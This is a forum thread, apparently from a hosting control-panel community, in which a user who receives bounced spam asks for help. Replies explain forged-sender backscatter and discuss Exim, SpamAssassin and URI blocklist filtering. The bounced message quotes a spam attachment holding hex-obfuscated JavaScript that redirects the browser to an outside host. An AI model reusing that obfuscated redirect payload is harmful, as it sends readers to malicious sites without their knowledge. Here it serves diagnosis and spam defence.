lots of such returned email. wonder whats wrong with my box

V

vod

Verified User
Joined
Oct 25, 2005
Messages
129
Hi,

lately i have been receiving lots of returned email from an email account that i rarely use. below is the full email content:

This message was created automatically by mail delivery software.

A message that you sent could not be delivered to one or more of its
recipients. This is a permanent error. The following address(es) failed:

[email protected]
SMTP error from remote mail server after RCPT TO:<[email protected]>:
host mx10.hanmail.net [211.43.197.93]: 550 5.2.1 RACT 69.73.131.86:
Mailbox is inactive: <[email protected]>

------ This is a copy of the message, including all the headers. ------

Return-path: <[email protected]>
Received: from [220.117.172.211] (helo=trtswdv.net)
by unix1.chronologic.com.sg with smtp (Exim 4.67)
(envelope-from <[email protected]>)
id 1IX2s2-0006t7-9S
for [email protected]; Mon, 17 Sep 2007 06:45:42 +0800
Received: from kivvjtyac.net ([203.92.14.139]) by trtswdv.net; Mon, 17 Sep 2007 07:36:40 +0900
From: "½Åj¼ÓjÀúj·Å!" <[email protected]>
To: "em1052kw" <[email protected]>
Subject: ½Åj¼ÓjÇÏj°Ô j´ëjÃâj ¹ÞjÀ¸j¼¼j¿ä1848463
Date: Mon, 17 Sep 2007 07:36:13 +0900
MIME-Version: 1.0
Content-Type: multipart/mixed;boundary= "----=_NEXTPart_F0P_ZRB6_B55MCMPG.53MSXK9S"
X-Priority: 3
X-Mailer: eGroups Message Poster

------=_NEXTPart_F0P_ZRB6_B55MCMPG.53MSXK9S
Content-type: text/html
Content-Transfer-Encoding: base64

DQpaTE5HIGxJZm9TDQo=
------=_NEXTPart_F0P_ZRB6_B55MCMPG.53MSXK9S
Content-Type: text/html; file="HqM"
Content-Transfer-Encoding: 7bit
Content-Disposition: attachment; filename="ÀÚj¼¼jÇÑj³»j¿ëjÀºj¿©j±âj¸¦j ´*j·¯jÁÖj¼¼j¿ä"

<script language= "javascript" >document. write (unescape ( "\x3C\x73\x63\x72\x69\x70\x74\x20\x6C\x61\x6E\x67\x75\x61\x67\x65\x3D\x22\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x22\x3E\x0D\x0A\x64\x6F\x63\x75\x6D\x65\x6E\x74\x2E\x6C\x6F\x63\x61\x74\x69\x6F\x6E\x3D\x22\x68\x74\x74\x70\x3A\x2F\x2F\x66\x66\x73\x67\x65\x65\x67\x65\x67\x2E\x68\x6F\x62\x62\x79\x2D\x73\x69\x74\x65\x2E\x6F\x72\x67\x22\x3B\x0D\x0A\x3C\x2F\x73\x63\x72\x69\x70\x74\x3E")) ; </script>
------=_NEXTPart_F0P_ZRB6_B55MCMPG.53MSXK9S--

Any idea whats going wrong?

thank you
 
It looks like your domainname is misused for sending emails with doubtfull content as the attached file has a random name (other returned emails have another attached-filename) which is made of javascript.

If anyone opens this mail it probably does something harmful or infectious...? Dont open and remove directly. Check for vulnerable/exploitable form/mail-scripts on your server.

Just my 2c
 
Actually it looks more as if vod (Nigel) is the victim of a Joe Job.

The email was sent to him by a server named host mx10.hanmail.net.

That server told him it was returning email he sent.

But did he?

Let's look at the headers on the email that host mx10.hanmail.net returned so we can see.

First:
Return-path: <[email protected]>
Click to expand...
The email came with a return path at chronologic.com.sg. Return paths are often forged.

Is this one forged?
Received: from [220.117.172.211] (helo=trtswdv.net)
Click to expand...
The machine sending the email allegedly from chronologic.com.sg sent it's packets from IP# 220.117.172.211, and identified itself as trtswdv.net. First let's to a reverse lookup on 220.117.172.211. When we try that, we get an NXDOMAIN error. Okay, that happens; a lot of misconfigured servers don't have a ptr record for their IP#s.

Since the server identifies itself as trtswdv.net, let's to a lookup on that. Another NXDOMAIN error. There's no A record for trtswdv.net either. Let's look to see if there's an MX record for trtswdv.net (if it receives email it should have an MX record if it doesn't have an A record.

Nope. Another NXDOMAIN error.

How about an spf record (many domains which send mail have an spf record). Nope, no spf record either. If this domain exists, it's probably dormant.

Let's try to buy trtswdv.net. It's available for sale. Which means it doesn't exist.

Just for fun, let's look up the IP# for chronologic.com.sg. It's not even similar to the IP# used by the server, and it appears to be in Houston, TX (yes, that's not quite the same as Singapore, but that's okay).

And the IP# used in the smtp exchange: 220.117.172.211?

It's located in Korea.

So it's probably not anything originating on Nigel's machine at all.

Just a misconfigured server at hanmail.net.

Of course the hanmail.net server is actually sending Nigel spam.

Nigel,

The problem is something called collateral spam, and there's not much one can do about it, unfortunately. Feel free to block them if they're the only one sending the emails. Unfortunately if the emails are coming from lots of servers there's not much you can do except understand that the email really isn't coming from your server. You're an innocent victim.

Jeff
 
Problem concerning me...

I have now the concern of this problem....

It is now 3 years i use spamblocker and i often had several spam problems, but not at the level we have now... In most cases i have solved problems on my own, but here i'm not good enough

3 clients are receiving approximately 350 mails / hour / account of bounce returns (yes i know spam from the other servers... but for moment i'm receiving them and i need it to stop)

But i cannot reasonnably explain to my clients, oh it's like that, we are "collateral spam victims".

I'd like to know if there is a method to check headers / content in order to identify if original mail has been originated by our servers or not. In the latter case, i believe spam ought to be dropped. In the first case, we should accept email...

My problem is how to set this check up ???

Jeff, any ideas around header content checks (including bounce message, and originating email which is often in a joined piece ???), in order to reverse check if originator comes from our servers ???...

I believe i'm gonna once more have few hours sleep this evening testing things.
 
Yes, you can certainly have all sorts of complex testing, using a combination of Exim filters, SpamAssassin, and the SpamBlocker exim.conf file.

We use all three for our own domains (which are the domains we use to test the efficacy of our testing build of SpamBlocker) and as a result see little collateral spam.

So I must presume that the latest version of SpamBlocker works well in this regard. Are you using version 3-beta? If so, ask me by email if you'd like me to post our latest testing version for you to try.

Note that checking contents (including headers) is done by Exim filters (which we don't write), and SpamAssassin, which we also don't write, and not by exim.conf.

Jeff
 
you've got mail :)

Yes jeff, i'm under spamblocker 3...

You're getting a mail from me on your mail account...and i'll test on my boxes with no problem...

tdldp
 
I've gotten fairly behind today (Friday evening); I'll get it to you as quickly as I can.

Jeff
 
I've finally had the chance to look at this issue, which I believe is important and deserves being addressed.

Unfortunately it's far from easy. One way to do it would be to try to match up the incoming email with the logs of outgoing email. That appears to be totally impossible, because the incoming email is only logged by certain headers (including subject [which is not a safe determining factor and which will almost never match up properly anyway]).

The other way to do it would be to parse the incoming email body and attempt to determine by reading the headers including in that body whether the email was sent by your server. This is, unfortunately, much easier for a human to do than a computer.

If doable, it would have to be done in the exim filter. The good news is that the filter is a perl script, and perl is the best language there is at text parsing.

The bad news is that there are so many different ways these emails are returned it's most likely impossible.

If you'd like to prove me wrong please feel free to do so, and after testing your code I'll see about getting it into the DirectAdmin implmenetation of the exim filter.

But I really don't think it doable.

:(

Jeff
 
jlasman said:
I've finally had the chance to look at this issue, which I believe is important and deserves being addressed.

Unfortunately it's far from easy. One way to do it would be to try to match up the incoming email with the logs of outgoing email. That appears to be totally impossible, because the incoming email is only logged by certain headers (including subject [which is not a safe determining factor and which will almost never match up properly anyway]).

The other way to do it would be to parse the incoming email body and attempt to determine by reading the headers including in that body whether the email was sent by your server. This is, unfortunately, much easier for a human to do than a computer.

If doable, it would have to be done in the exim filter. The good news is that the filter is a perl script, and perl is the best language there is at text parsing.

The bad news is that there are so many different ways these emails are returned it's most likely impossible.

If you'd like to prove me wrong please feel free to do so, and after testing your code I'll see about getting it into the DirectAdmin implmenetation of the exim filter.

But I really don't think it doable.

:(

Jeff
Click to expand...

In fact jeff, after testing, i confirm it's hardly doable, but i added in exim.pl a URIBL rule available from exim which you don't seem to use, that check links not at header time, but at message time..
It checks for moment urls against HostKarma, uribl, SURBL, and DOB.

I'm looking up to add 3 other lists and will give you backup on this when finished, but apparently, as originating emails are often in joined pieces, they get parsed as well by lookup... And where it gets interesting, is that as link in email (spam) is listed by lists, bounce messages are now stopped by system...
For our major client that was facing problem, (99 mail accounts, 1500 spam / day), we've reduced these bounce messages by nearly 98 % and there are hardly 30 spams that get through for all the 99 accounts per day... client is therefore happy...

May i know why you prefer block only at header time and not at message time in spamblocker jeff ???
 
tdldp said:
In fact jeff, after testing, i confirm it's hardly doable, but i added in exim.pl a URIBL rule available from exim which you don't seem to use, that check links not at header time, but at message time..
It checks for moment urls against HostKarma, uribl, SURBL, and DOB.
Click to expand...
Would you be so kind as to post your implementation so we may consider it?
I'm looking up to add 3 other lists and will give you backup on this when finished, but apparently, as originating emails are often in joined pieces, they get parsed as well by lookup... And where it gets interesting, is that as link in email (spam) is listed by lists, bounce messages are now stopped by system...
Click to expand...
I look forward to seeing your complete solution
May i know why you prefer block only at header time and not at message time in spamblocker jeff ???
Click to expand...
Several reasons:

If we check the message we have to take the time and resources to receive he entire message before telling the sending server we don't want it.

Many sending servers won't believe the refusal if received after they've sent the message; this is beginning to change; this won't be a good reason in the future, and may already not be important.

Most importantly, if anyone sends you a complaint about mail originating from your server (perhaps because it's been hacked or a user is using it to spam or to host spam) you may never find out because you won't accept the email advising you.

Because of the last issue, you should definitely have a whitelisted postmaster address if you're going to implement it.

Please let me see your implementation; perhaps we should figure out a way to include it.

Thanks.

Jeff
 
You must log in or register to reply here.
Back
Top